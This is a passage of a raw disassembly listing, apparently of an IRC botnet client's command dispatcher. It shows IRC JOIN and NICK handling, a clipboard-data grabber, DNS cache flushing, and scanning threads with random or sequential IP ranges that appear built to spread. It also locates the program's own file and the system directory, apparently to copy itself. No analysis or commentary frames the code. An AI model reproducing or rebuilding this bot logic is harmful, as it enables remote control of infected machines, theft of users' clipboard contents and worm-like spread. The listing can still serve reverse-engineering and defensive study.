; ---------------------------------------------------------------------------


loc_413BB1:				; CODE XREF: sub_40EE51+1A30j
					; sub_40EE51+1A47j
		push	edi		; Str2
		push	offset aAll	; "all"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413BEF
		call	sub_416F11
		cmp	eax, ebx
		jle	short loc_413BE5
		push	eax
		push	offset dword_434E3C ; Format


loc_413BD1:				; CODE XREF: sub_40EE51+15D3j
					; sub_40EE51+2AB9j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_4145C3
; ---------------------------------------------------------------------------


loc_413BE5:				; CODE XREF: sub_40EE51+4D78j
		push	offset dword_434E04
		jmp	loc_4145B5
; ---------------------------------------------------------------------------


loc_413BEF:				; CODE XREF: sub_40EE51+4D6Fj
		mov	eax, [ebp+var_C0]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40F215
		lea	eax, [ebp+edi*4+Str2]
		mov	[ebp+File], eax


loc_413C0B:				; CODE XREF: sub_40EE51+4E2Bj
		mov	eax, [ebp+File]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40F215
		push	esi		; Str
		call	_atoi
		push	eax
		call	sub_416E83
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_413C32
		push	offset dword_434DD0
		jmp	short loc_413C37
; ---------------------------------------------------------------------------


loc_413C32:				; CODE XREF: sub_40EE51+4DD8j
		push	offset dword_434D94 ; Format


loc_413C37:				; CODE XREF: sub_40EE51+4DDFj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_413C67
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 14h


loc_413C67:				; CODE XREF: sub_40EE51+4DF8j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		add	[ebp+File], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_413C0B
		jmp	loc_40F215
; ---------------------------------------------------------------------------


loc_413C83:				; CODE XREF: sub_40EE51+1A02j
					; sub_40EE51+1A19j
		cmp	[ebp+var_C], ebx
		jz	loc_414F3C
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F3C
		push	esi		; Args
		push	offset aS_6	; "%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		push	esi
		push	offset dword_434D6C
		jmp	loc_41318D
; ---------------------------------------------------------------------------


loc_413CBA:				; CODE XREF: sub_40EE51+19D4j
					; sub_40EE51+19EBj
		push	edi		; Args
		push	offset dword_435700 ; Format
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		push	edi
		push	offset dword_434D3C
		jmp	loc_41318D
; ---------------------------------------------------------------------------


loc_413CD3:				; CODE XREF: sub_40EE51+19A6j
					; sub_40EE51+19BDj
		push	[ebp+esi+Format]
		push	edi		; Args
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		push	edi
		push	offset dword_434D0C
		jmp	loc_413061
; ---------------------------------------------------------------------------


loc_413CF3:				; CODE XREF: sub_40EE51+1978j
					; sub_40EE51+198Fj
		push	edi		; Args
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		push	edi
		push	offset dword_434CD8
		jmp	loc_41318D
; ---------------------------------------------------------------------------


loc_413D0C:				; CODE XREF: sub_40EE51+193Dj
					; sub_40EE51+1952j
		mov	al, ds:byte_42E5EA
		mov	[ebp+Src], ebx
		cmp	al, bl
		mov	edx, offset byte_42E5EA
		jz	loc_40F215
		mov	ecx, edx


loc_413D23:				; CODE XREF: sub_40EE51+4EDAj
		inc	[ebp+Src]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_413D23
		cmp	al, bl
		jz	loc_40F215
		mov	[ebp+Str1], edx


loc_413D38:				; CODE XREF: sub_40EE51+51A5j
		push	8
		call	sub_416F90
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+Src]
		add	eax, ecx
		cmp	eax, 258h
		jle	short loc_413D87
		push	ecx
		lea	eax, [ebp+Dst]
		push	offset unk_436014 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 20h
		jmp	loc_413FED
; ---------------------------------------------------------------------------


loc_413D87:				; CODE XREF: sub_40EE51+4F01j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	ds:dword_429CB0, ebx
		mov	[ebp+var_318], 14h
		mov	[ebp+var_32C], 7
		mov	[ebp+var_328], 140h
		mov	[ebp+Src], ebx
		jz	short loc_413DF8
		mov	eax, [ebp+Str1]
		mov	edi, offset dword_429CB0
		lea	esi, [eax-0Ah]


loc_413DC2:				; CODE XREF: sub_40EE51+4F89j
		lea	eax, [edi-28h]
		push	esi		; Str2
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413DDE
		inc	[ebp+Src]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_413DC2
		jmp	short loc_413DF8
; ---------------------------------------------------------------------------


loc_413DDE:				; CODE XREF: sub_40EE51+4F7Fj
		mov	eax, [ebp+Src]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_429CB0[ecx]
		mov	[ebp+var_330], ecx


loc_413DF8:				; CODE XREF: sub_40EE51+4F64j
					; sub_40EE51+4F8Bj
		cmp	[ebp+var_330], ebx
		jz	loc_414001
		push	10h
		lea	eax, [ebp+Source]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+Source], esi
		push	[ebp+arg_4]
		call	ds:dword_43C5BC	; getsockname
		mov	al, [ebp+var_9C7]
		push	esi		; Args
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+Drive], eax
		push	[ebp+Drive]	; Count
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax		; Source
		lea	eax, [ebp+var_444]
		push	eax		; Dest
		call	_strncpy
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h		; Ch
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax		; Str
		call	_strrchr
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+File+3], bl
		jle	short loc_413E9A


loc_413E78:				; CODE XREF: sub_40EE51+5047j
		cmp	eax, ebx
		jz	short loc_413E9A
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h		; Ch
		push	eax		; Str
		call	_strrchr
		inc	byte ptr [ebp+File+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+File+3]
		cmp	ecx, edi
		jl	short loc_413E78


loc_413E9A:				; CODE XREF: sub_40EE51+5025j
					; sub_40EE51+5029j
		mov	eax, [ebp+arg_4]
		push	[ebp+Format]	; Format
		mov	esi, [ebp+var_4]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_8]
		mov	edi, 80h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_434]
		push	edi		; Count
		push	eax		; Dest
		mov	[ebp+var_304], 1
		mov	[ebp+var_30C], esi
		call	__snprintf
		push	offset byte_4397BC ; Str2
		push	offset aS_5	; "#!S#"
		call	_strcmp
		add	esp, 14h
		test	eax, eax
		jz	short loc_413F04
		push	offset aS_5	; "#!S#"
		lea	eax, [ebp+var_3B4]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_413F0A
; ---------------------------------------------------------------------------


loc_413F04:				; CODE XREF: sub_40EE51+509Aj
		mov	[ebp+var_3B4], bl


loc_413F0A:				; CODE XREF: sub_40EE51+50B1j
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_413F1C
		mov	eax, offset aSequential	; "Sequential"


loc_413F1C:				; CODE XREF: sub_40EE51+50C4j
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset unk_434C60 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	8		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40796C
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_413FA6


loc_413F94:				; CODE XREF: sub_40EE51+5153j
		cmp	[ebp+var_300], ebx
		jnz	short loc_413FC1
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_413F94
; ---------------------------------------------------------------------------


loc_413FA6:				; CODE XREF: sub_40EE51+5141j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dst]
		push	offset unk_435F04 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_413FC1:				; CODE XREF: sub_40EE51+5149j
		cmp	[ebp+var_8], ebx
		jnz	short loc_413FE0
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	esi		; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 14h


loc_413FE0:				; CODE XREF: sub_40EE51+5173j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		pop	ecx


loc_413FED:				; CODE XREF: sub_40EE51+4F31j
		add	[ebp+Str1], 0Bh
		mov	eax, [ebp+Str1]
		cmp	[eax], bl
		jnz	loc_413D38
		jmp	loc_40F215
; ---------------------------------------------------------------------------


loc_414001:				; CODE XREF: sub_40EE51+3122j
					; sub_40EE51+4FADj
		push	offset unk_434C1C
		jmp	loc_4145B5
; ---------------------------------------------------------------------------


loc_41400B:				; CODE XREF: sub_40EE51+1913j
					; sub_40EE51+1928j
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_A4]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		push	offset unk_434BE4 ; Format
		mov	[ebp+var_A8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Eh		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 24h
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A8]
		push	ebx
		push	eax
		push	offset sub_409032
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_24]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_4140A1


loc_41408E:				; CODE XREF: sub_40EE51+524Ej
		cmp	[ebp+var_18], ebx
		jnz	loc_414DFC
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_41408E
; ---------------------------------------------------------------------------


loc_4140A1:				; CODE XREF: sub_40EE51+523Bj
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434B98
		jmp	loc_414DED
; ---------------------------------------------------------------------------


loc_4140B2:				; CODE XREF: sub_40EE51+18E9j
					; sub_40EE51+18FEj
		push	4
		call	sub_416F90
		test	eax, eax
		pop	ecx
		jle	short loc_4140C8
		push	offset unk_434B6C
		jmp	loc_410D06
; ---------------------------------------------------------------------------


loc_4140C8:				; CODE XREF: sub_40EE51+526Bj
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_4140EB
		push	eax		; Format
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_4140FF
; ---------------------------------------------------------------------------


loc_4140EB:				; CODE XREF: sub_40EE51+5280j
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_423090	; GetModuleFileNameA


loc_4140FF:				; CODE XREF: sub_40EE51+5298j
		mov	esi, [ebp+esi+Format]
		cmp	esi, ebx
		jnz	short loc_41410F
		mov	esi, offset byte_42E664


loc_41410F:				; CODE XREF: sub_40EE51+52B7j
		push	esi		; Format
		lea	eax, [ebp+var_6F8]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, ds:dword_42E5AC
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_5EC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F0], ebx
		mov	[ebp+var_800], eax
		lea	eax, [ebp+var_5E8]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_7FC]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_5EC]
		push	offset unk_42A328 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	4		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 38h
		mov	[ebp+var_5F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_406C0B
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_5F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_4141DF


loc_4141C9:				; CODE XREF: sub_40EE51+538Cj
		cmp	[ebp+var_560], ebx
		jnz	loc_410E22
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_4141C9
; ---------------------------------------------------------------------------


loc_4141DF:				; CODE XREF: sub_40EE51+5376j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434B24
		jmp	loc_410E13
; ---------------------------------------------------------------------------


loc_4141F0:				; CODE XREF: sub_40EE51+18BFj
					; sub_40EE51+18D4j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_41420F
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jz	short loc_41420F
		push	edi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_414214
; ---------------------------------------------------------------------------


loc_41420F:				; CODE XREF: sub_40EE51+53A8j
					; sub_40EE51+53B3j
		mov	eax, ds:dword_42E5B0


loc_414214:				; CODE XREF: sub_40EE51+53BCj
		mov	esi, [ebp+esi+Format]
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9C4], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_568], eax
		jz	short loc_414247
		lea	eax, [ebp+var_680]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_414272
; ---------------------------------------------------------------------------


loc_414247:				; CODE XREF: sub_40EE51+53E3j
		lea	eax, [ebp+FullPath]
		push	104h
		push	eax
		call	ds:dword_423064	; GetSystemDirectoryA
		push	ebx		; Ext
		push	ebx		; Filename
		lea	eax, [ebp+Drive]
		push	ebx		; Dir
		push	eax		; Drive
		lea	eax, [ebp+FullPath]
		push	eax		; FullPath
		call	__splitpath
		add	esp, 14h


loc_414272:				; CODE XREF: sub_40EE51+53F4j
		lea	eax, [ebp+var_680]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+eax+var_681], 5Ch
		pop	ecx
		jnz	short loc_41429D
		lea	eax, [ebp+var_680]
		push	eax		; Str
		call	_strlen
		pop	ecx
		mov	[ebp+eax+var_681], bl


loc_41429D:				; CODE XREF: sub_40EE51+5436j
		push	[ebp+Format]	; Format
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_908]
		mov	[ebp+var_90C], esi
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_680]
		mov	[ebp+var_570], edi
		push	eax
		push	[ebp+var_57C]
		push	esi
		call	sub_40AEDB
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset unk_42A20C ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	3		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_90C]
		push	ebx
		push	eax
		push	offset sub_405AF0
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_414355


loc_41433F:				; CODE XREF: sub_40EE51+5502j
		cmp	[ebp+var_560], ebx
		jnz	loc_4144A4
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_41433F
; ---------------------------------------------------------------------------


loc_414355:				; CODE XREF: sub_40EE51+54ECj
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434ADC
		jmp	loc_414495
; ---------------------------------------------------------------------------


loc_414366:				; CODE XREF: sub_40EE51+1895j
					; sub_40EE51+18AAj
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_414385
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jz	short loc_414385
		push	edi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_41438A
; ---------------------------------------------------------------------------


loc_414385:				; CODE XREF: sub_40EE51+551Ej
					; sub_40EE51+5529j
		mov	eax, ds:dword_42E5B4


loc_41438A:				; CODE XREF: sub_40EE51+5532j
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jnz	short loc_4143A1
		lea	eax, [ebp+var_D8]


loc_4143A1:				; CODE XREF: sub_40EE51+5548j
		push	eax		; Format
		lea	eax, [ebp+var_6B8]
		push	40h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_4143C3
		mov	esi, offset byte_4397BC


loc_4143C3:				; CODE XREF: sub_40EE51+556Bj
		push	esi		; Format
		lea	eax, [ebp+var_678]
		push	100h		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_738]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6B8]
		push	eax
		mov	[ebp+var_73C], esi
		push	[ebp+var_578]
		mov	[ebp+var_568], edi
		push	esi
		call	sub_40AEDB
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset dword_434A90 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	6		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	offset sub_4156FD
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_414489


loc_414477:				; CODE XREF: sub_40EE51+5636j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4144A4
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_414477
; ---------------------------------------------------------------------------


loc_414489:				; CODE XREF: sub_40EE51+5624j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434A44 ; Format


loc_414495:				; CODE XREF: sub_40EE51+363Cj
					; sub_40EE51+3736j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_4144A4:				; CODE XREF: sub_40EE51+3620j
					; sub_40EE51+371Aj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414DFC
		push	ebx
		push	edi
		jmp	loc_411D29
; ---------------------------------------------------------------------------


loc_4144B4:				; CODE XREF: sub_40EE51+186Bj
					; sub_40EE51+1880j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_4144C7
		push	esi		; Str
		call	_atoi
		jmp	short loc_4144CE
; ---------------------------------------------------------------------------


loc_4144C7:				; CODE XREF: sub_40EE51+566Cj
		push	8
		call	sub_416FAF


loc_4144CE:				; CODE XREF: sub_40EE51+5674j
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F3C
		push	eax		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_4071CC


loc_4144E9:				; CODE XREF: sub_40EE51+5B49j
		add	esp, 10h
		jmp	loc_414F3C
; ---------------------------------------------------------------------------


loc_4144F1:				; CODE XREF: sub_40EE51+1841j
					; sub_40EE51+1856j
		mov	eax, ds:dword_43C540
		cmp	eax, ebx
		jz	short loc_41450E
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_414507
		push	offset unk_434A10
		jmp	short loc_414523
; ---------------------------------------------------------------------------


loc_414507:				; CODE XREF: sub_40EE51+56ADj
		push	offset unk_4349D4
		jmp	short loc_414523
; ---------------------------------------------------------------------------


loc_41450E:				; CODE XREF: sub_40EE51+56A7j
		push	offset unk_434998
		jmp	short loc_414523
; ---------------------------------------------------------------------------


loc_414515:				; CODE XREF: sub_40EE51+1817j
					; sub_40EE51+182Cj
		call	sub_40ADFD
		test	eax, eax
		jz	short loc_414539
		push	offset unk_434964 ; Format


loc_414523:				; CODE XREF: sub_40EE51+56B4j
					; sub_40EE51+56BBj ...
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		jmp	loc_414E23
; ---------------------------------------------------------------------------


loc_414539:				; CODE XREF: sub_40EE51+56CBj
		push	offset unk_434928
		jmp	short loc_414523
; ---------------------------------------------------------------------------


loc_414540:				; CODE XREF: sub_40EE51+17EDj
					; sub_40EE51+1802j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41455F
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 14h


loc_41455F:				; CODE XREF: sub_40EE51+56F2j
		push	ebx		; int
		push	[ebp+var_4]	; int
		call	sub_40AABA
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		push	offset dword_4348E8
		jmp	loc_41486C
; ---------------------------------------------------------------------------


loc_414581:				; CODE XREF: sub_40EE51+170Dj
					; sub_40EE51+1722j
		push	7
		call	sub_416F90
		test	eax, eax
		pop	ecx
		jle	short loc_414594
		push	offset dword_4348B0
		jmp	short loc_4145B5
; ---------------------------------------------------------------------------


loc_414594:				; CODE XREF: sub_40EE51+573Aj
		push	[ebp+Format]
		push	[ebp+arg_4]
		call	sub_40B567
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4145B0
		push	offset dword_434878
		jmp	short loc_4145B5
; ---------------------------------------------------------------------------


loc_4145B0:				; CODE XREF: sub_40EE51+5756j
		push	offset dword_434848 ; Format


loc_4145B5:				; CODE XREF: sub_40EE51+2C75j
					; sub_40EE51+2DA5j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_4145C3:				; CODE XREF: sub_40EE51+15B7j
					; sub_40EE51+2D7Fj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414DFC
		push	ebx		; int
		push	[ebp+var_4]	; int


loc_4145D0:				; CODE XREF: sub_40EE51+3972j
		lea	eax, [ebp+Dst]
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int


loc_4145E0:				; CODE XREF: sub_40EE51+2EE6j
		call	sub_40D670
		add	esp, 14h
		jmp	loc_414DFC
; ---------------------------------------------------------------------------


loc_4145ED:				; CODE XREF: sub_40EE51+16E3j
					; sub_40EE51+16F8j
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40A4A7
		jmp	loc_40F212
; ---------------------------------------------------------------------------


loc_414606:				; CODE XREF: sub_40EE51+16B9j
					; sub_40EE51+16CEj
		push	[ebp+esi+var_90] ; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D317
		jmp	loc_40F212
; ---------------------------------------------------------------------------


loc_414623:				; CODE XREF: sub_40EE51+168Fj
					; sub_40EE51+16A4j
		or	edi, 0FFFFFFFFh
		call	ds:dword_423054	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+Src], eax
		jz	short loc_41464C
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	edi, eax


loc_41464C:				; CODE XREF: sub_40EE51+57F0j
		mov	eax, [ebp+Src]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_414665
		cmp	edi, 0FFFFFFFFh
		jnz	loc_414F3C


loc_414665:				; CODE XREF: sub_40EE51+5809j
		push	ebx
		call	sub_40B71C
		push	eax
		lea	eax, [ebp+Dst]
		push	offset dword_434820 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		jmp	loc_4122C2
; ---------------------------------------------------------------------------


loc_4146A7:				; CODE XREF: sub_40EE51+1665j
					; sub_40EE51+167Aj
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_408C13
		lea	eax, [ebp+Dst]
		push	offset unk_4347F0 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_4146D1:				; CODE XREF: sub_40EE51+163Bj
					; sub_40EE51+1650j
		push	1Fh
		call	sub_416F90
		test	eax, eax
		pop	ecx
		jle	short loc_4146FA
		cmp	[ebp+var_8], ebx
		jnz	loc_40F215
		push	ebx
		push	[ebp+var_4]
		push	offset unk_4347BC
		push	[ebp+Format]
		jmp	loc_40F773
; ---------------------------------------------------------------------------


loc_4146FA:				; CODE XREF: sub_40EE51+588Aj
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_4F0]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		mov	[ebp+var_46C], ebx
		jz	short loc_41475B
		push	esi		; Str2
		push	offset aFull	; "full"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41475B
		mov	[ebp+var_46C], 1


loc_41475B:				; CODE XREF: sub_40EE51+58EDj
					; sub_40EE51+58FEj
		lea	eax, [ebp+Dst]
		push	offset dword_434784 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Fh		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_41532A
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_4147C9


loc_4147B3:				; CODE XREF: sub_40EE51+5976j
		cmp	[ebp+var_460], ebx
		jnz	loc_414DFC
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_4147B3
; ---------------------------------------------------------------------------


loc_4147C9:				; CODE XREF: sub_40EE51+5960j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434734
		jmp	loc_414DED
; ---------------------------------------------------------------------------


loc_4147DA:				; CODE XREF: sub_40EE51+1611j
					; sub_40EE51+1626j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4147F9
		push	ebx		; int
		push	[ebp+var_4]	; int
